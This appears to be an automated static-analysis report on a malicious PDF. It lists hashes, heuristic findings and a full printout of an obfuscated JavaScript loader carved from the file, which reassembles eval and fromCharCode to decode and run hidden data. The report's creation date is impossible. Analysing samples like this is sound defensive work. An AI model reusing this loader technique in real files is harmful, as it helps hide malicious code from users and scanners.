Malicious PDF — malware analysis report

Static analysis result for SHA-256 53b78dc919d7b63a…

MALICIOUS

PDF

22.9 KB Created: 2011-72-51 03:25:00 First seen: 2026-05-08
MD5: 6edbf491851d23919da26f76896b92c2 SHA-1: 0f7cdd252ce024b27a90e9905578a2df15516719 SHA-256: 53b78dc919d7b63a01280c60a69f9e670f9f1fc1a2e9c09ada71dd364d69b85b
148 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript with multiple indicators of obfuscation and suspicious activity, including an eval() call. This suggests the script is designed to download and execute a second-stage payload. The high eval() score and the presence of JavaScript point to a malicious script execution attempt within the PDF.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    CosAvoloexekogwor=eval(WylomyCumo+'l');
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x579C 766 bytes
SHA-256: 180efff371a4edbbd50d7c4a5fadd5f3d4eb4c16837f00a24fd3655f35e8bd45
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var TihopuRulugukep='';
SkykynyJiduzoj = new Date(2010,11,3,2);
var WylomyCumo = function(){return {e:'eva'}}().e;
CosAvoloexekogwor=eval(WylomyCumo+'l');
BavyfiHuhesuyn = 'thi'+SkykynyJiduzoj.getHours()+'ducer';
Boksykqele=CosAvoloexekogwor(BavyfiHuhesuyn.replace(2,'s.pro'));
GnachugolPalgi = Boksykqele.split('s');
var JajubxOcufi = '';
g = SkykynyJiduzoj.getHours();
var JurolydyvUxeraq = 'fro'+SkykynyJiduzoj.getHours()+'arCode';
JurolydyvUxeraq=JurolydyvUxeraq.replace(2,'mCh');
xoseRyhe=String[JurolydyvUxeraq];
for (ZexetunoGawaf = 0; ZexetunoGawaf < GnachugolPalgi.length; ZexetunoGawaf++) {
	WoboqupipyhAcaq = CosAvoloexekogwor(GnachugolPalgi[ZexetunoGawaf]);
	JajubxOcufi += xoseRyhe(WoboqupipyhAcaq);
}
CosAvoloexekogwor(JajubxOcufi);

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